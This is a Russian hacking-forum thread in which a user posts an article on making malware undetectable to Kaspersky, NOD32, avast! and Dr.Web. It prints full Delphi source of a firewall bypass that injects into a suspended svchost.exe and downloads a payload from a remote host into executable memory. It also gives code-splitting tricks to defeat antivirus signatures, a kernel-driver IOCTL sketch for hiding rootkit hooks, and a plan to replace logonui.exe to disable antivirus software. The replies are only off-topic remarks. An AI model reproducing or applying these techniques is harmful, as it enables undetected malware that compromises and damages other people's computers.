Маскировка вируса

Discussion in 'Мировые новости. Обсуждения.' started by SuNDowN, 6 May 2008.

  1. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.

    Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.

    Для начала возьмем готовый исходник вредоносной проги. Так как мне очень подуше сайт www.wasm.ru, то готовый исходник я взял именно оттуда, это исходник Ms-Rem’a для обхода Agnitum Outpost Firewall Pro. В первичном виде он успешно палится всеми тремя антивирусами.

    Вот его код:

    program FireFuck;

    uses
    Windows, WinSock;

    {$IMAGEBASE $13140000}

    { Определение положения подстроки в строке }
    Function MyPos(Substr, Str: PChar): dword; stdcall;
    asm
    mov eax, Substr
    mov edx, str
    test eax, eax
    je @noWork
    test edx, edx
    je @stringEmpty
    push ebx
    push esi
    push edi
    mov esi, eax
    mov edi, edx
    push eax
    push edx
    call lstrlen
    mov ecx, eax
    pop eax
    push edi
    push eax
    push eax
    call lstrlen
    mov edx, eax
    pop eax
    dec edx
    js @fail
    mov al, [esi]
    inc esi
    sub ecx, edx
    jle @fail

    @loop:
    repne scasb
    jne @fail
    mov ebx, ecx
    push esi
    push edi
    mov ecx, edx
    repe cmpsb
    pop edi
    pop esi
    je @found
    mov ecx, ebx
    jmp @loop

    @fail:
    pop edx
    xor eax, eax
    jmp @exit

    @stringEmpty:
    xor eax, eax
    jmp @noWork

    @found:
    pop edx
    mov eax, edi
    sub eax, edx

    @exit:
    pop edi
    pop esi
    pop ebx

    @noWork:
    end;

    { Копирование строк }
    Function MyCopy(S:pChar; Index, Count: Dword): PChar; stdcall;
    asm
    mov eax, Count
    inc eax
    push eax
    push LPTR
    call LocalAlloc
    mov edi, eax
    mov ecx, Count
    mov esi, S
    add esi, Index
    dec esi
    rep movsb
    end;

    { Копирование участка памяти }
    procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
    asm
    push ecx
    push esi
    push edi
    mov esi, Source
    mov edi, Destination
    mov ecx, Length
    rep movsb
    pop edi
    pop esi
    pop ecx
    end;


    Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
    var
    Buffer: pointer;
    BufferLength: dword;
    BufferUsed: dword;
    Bytes: integer;
    Header: PChar;
    Site: PChar;
    URL: PChar;
    FSocket: integer;
    SockAddrIn: TSockAddrIn;
    HostEnt: PHostEnt;
    Str: PChar;
    WSAData: TWSAData;
    hHeap: dword;
    begin
    Result := nil;
    hHeap := GetProcessHeap();
    WSAStartup(257, WSAData);
    Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
    URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
    Buffer := HeapAlloc(hHeap, 0, 1024);
    try
    BufferLength := 1024;
    BufferUsed := 0;
    FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    SockAddrIn.sin_family := AF_INET;
    SockAddrIn.sin_port := htons(80);
    SockAddrIn.sin_addr.s_addr := inet_addr(Site);
    if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    begin
    HostEnt := gethostbyname(Site);
    if HostEnt = nil then Exit;
    SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
    end;
    if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
    Str := HeapAlloc(hHeap, 0, 1024);
    lstrcpy(Str, 'GET ');
    lstrcat(Str, URL);
    lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
    lstrcat(Str, Site);
    lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
    send(FSocket, Str^, lstrlen(Str), 0);
    HeapFree(hHeap, 0, Str);
    repeat
    if BufferLength - BufferUsed < 1024 then
    begin
    Inc(BufferLength, 1024);
    Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
    end;
    Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
    if Bytes > 0 then Inc(BufferUsed, Bytes);
    until (Bytes = 0) or (Bytes = SOCKET_ERROR);
    Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
    ReturnSize := BufferUsed - lstrlen(header);
    Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if Result = nil then Exit;
    MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
    finally
    HeapFree(hHeap, 0, Buffer);
    end;
    end;

    { процедура выполняющаяся в контексте доверенного приложения }
    Procedure Download(); stdcall;
    const
    URL : PChar = '192.168.0.58/1.mp3';
    var
    Buff: pointer;
    Size: dword;
    Bytes: dword;
    dFile: dword;
    begin
    LoadLibrary('wsock32.dll');
    Buff := DownloadFile(URL, Size);
    dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
    WriteFile(dFile, Buff^, Size, Bytes, nil);
    CloseHandle(dFile);
    ExitProcess(0);
    end;


    var
    St: TStartupInfo;
    Pr: TProcessInformation;
    InjectSize: dword;
    Code: pointer;
    Injected: pointer;
    BytesWritten: dword;
    Context: _CONTEXT;
    t:textfile;
    cmd:string;
    begin
    ZeroMemory(@St, SizeOf(TStartupInfo));
    St.cb := SizeOf(TStartupInfo);
    St.wShowWindow := SW_SHOW;
    // запускаем процесс, которому разрешено лезть на 80 порт
    CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);
    Code := pointer(GetModuleHandle(nil));
    InjectSize := PImageOptionalHeader(pointer(integer(Code) +
    PImageDosHeader(Code)._lfanew +
    SizeOf(dword) +
    SizeOf(TImageFileHeader))).SizeOfImage;
    // выделяем память в процессе
    Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    // внедряем код
    WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
    // изменяем контекст нити
    Context.ContextFlags := CONTEXT_FULL;
    GetThreadContext(Pr.hThread, Context);
    Context.Eip := dword(@Download);
    SetThreadContext(Pr.hThread, Context);
    // запускаем процесс
    ResumeThread(Pr.hThread);
    end;

    Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.

    Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:

    AssignFile(t,'1.txt');
    reset(t);
    readln(t,cmd);
    CloseFile(t);
    if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);

    Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:

    Procedure MyVirusStart(str:string);
    Var cmd:string;t:textfile;
    Begin
    AssignFile(t,'1.txt');
    reset(t);
    readln(t,cmd);
    CloseFile(t);
    if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);
    End;

    А код модифицируем, вместо

    CreateProcess(nil, 'svchost.exe', nil, nil, false,
    CREATE_SUSPENDED, nil, nil, St, Pr);

    Напишем вот так:

    AssignFile(t,'1.txt');
    reset(t);
    readln(t,cmd);
    CloseFile(t);
    if cmd = '2' then MyVirusStart;

    И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.

    Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.

    Все это работает благодаря тому, что вирус разбивается на абсолютно безвредные части и то, что он будет делать напрямую зависит от команд в файле, без него вирус превращается в безвредную программку. Учитывая еще и то, что современным антивирусам видимо влом проверять весь файл вируса целиком и полностью - все работает «как часы», а если еще и изменять файл во время работы вируса (некий полиморфизм получается), то все антивирусы будут нервно курить в сторонке )). Чем на большее количество частей разделен вирус (число используемых команд) - тем эффективнее метод. Хотя (как показала практика) вполне хватает всего лишь 2 раза вставить подобный код в исходник и получается приличный результат – при проверке нескольких переделанных описанным выше способом исходников сервисом VirusTotal выяснилось, что если всего в 2-х местах исходника вставить предлагаемый код, то ни Dr.Web, ни NOD32, ни каспер больше его не палят.

    Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.

    Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:

    // генерируем команду и кладем ее в рандомую ячейку массива а
    procedure writecmd;
    var i,c:integer;
    begin
    for c:=0 to 10 do a[c]:=0;
    i:=random(900);
    i:=i+1;
    a[random(11)]:=i; // а – массив
    end;

    А в коде вируса вставляем следующие строчки

    for j:=0 to 10 do
    if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
    nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
    // здесь вызываем главное действие вируса
    // в данном исходнике это CreateProcess

    Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).

    Что же касается ядра Windows, то защита руткитов от палева антивирусов, вооружившихся только что обновленными базами, происходит аналогичным образом, только «указания» вирусу можно давать при помощи IOCTL команд, а можно для уверенности передавать IOCTL командами также адреса перехватываемых функций (в случае с SDT можно передавать код функции в таблице).

    Итак, что нам нужно сделать:
    Основную операцию записи в память перенесем в отдельную функцию;
    Создадим обработчик IOCTL команд;
    Свяжем IOCTL команду с процедурой записи в память(модификации кода).

    Для начала создадим процедуру, модифицирующую код ядра:

    // Здесь формируется код IOCTL в драйвере
    #define TESTDRV_TYPE 40000
    #define IOCTL_IOPM_FUNCTION \
    CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

    NTSTATUS WriteKernelMemory()
    {
    // Здесь устанавливаем перехват на какую-нибудь функцию
    ...
    }
    NTSTATUS OnDeviceControlHandle(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP pIrp
    )
    {
    int i;
    I = 9;
    I = i+177;
    NTSTATUS ntStatus = STATUS_SUCCESS;
    PIO_STACK_LOCATION irpSp;

    // Длина входного буфера
    ULONG inBufLength;
    // Длина выходного буфера
    ULONG outBufLength;
    // Указатель на входной и выходной буфер
    PULONG ioBuffer;

    // DbgPrint("OnDeviceControlHandle");

    // Получаем указатель на драйверный стек
    irpSp= IoGetCurrentIrpStackLocation(pIrp);

    // Входной и выходной буфера и их длины
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
    ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
    // собственно обработка команд
    switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
    {
    // обработка кода функции IOCTL_IOPM_FUNCTION
    case IOCTL_IOPM_FUNCTION:
    {
    If(i!=0)
    WriteKernelMemory;
    break;
    }
    }

    // Завершение рабочей процедуры
    pIrp->IoStatus.Information = inBufLength;
    /* Размер выходного буфера */
    pIrp->IoStatus.Status = ntStatus;
    IoCompleteRequest( pIrp, IO_NO_INCREMENT );
    return ntStatus;
    }

    Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.

    Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.

    Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.

    Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!

    Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.
     
    1 person likes this.
  2. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Если кому понравится ход мыслей,напишу ещё!
     
  3. El.DI@BL0

    El.DI@BL0 Active Member

    Joined:
    18 Apr 2007
    Messages:
    0
    Likes Received:
    119
    Reputations:
    15
    А при чём здесь раздел новости?
     
  4. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    25
    Likes Received:
    73
    Reputations:
    -8
    Звиняйте,недавно тут :)
    Модеры,удалите плиз!
     
  5. m0Hax

    m0Hax Elder - Старейшина

    Joined:
    27 May 2007
    Messages:
    4
    Likes Received:
    14
    Reputations:
    0
    Это не новость, а статья: http://www.xakep.ru/post/43474/default.asp
     
  6. brasco2k

    brasco2k Elder - Старейшина

    Joined:
    23 Nov 2007
    Messages:
    258
    Likes Received:
    91
    Reputations:
    0
    А чо в новостях то ? В чужие статьи надо бы перенести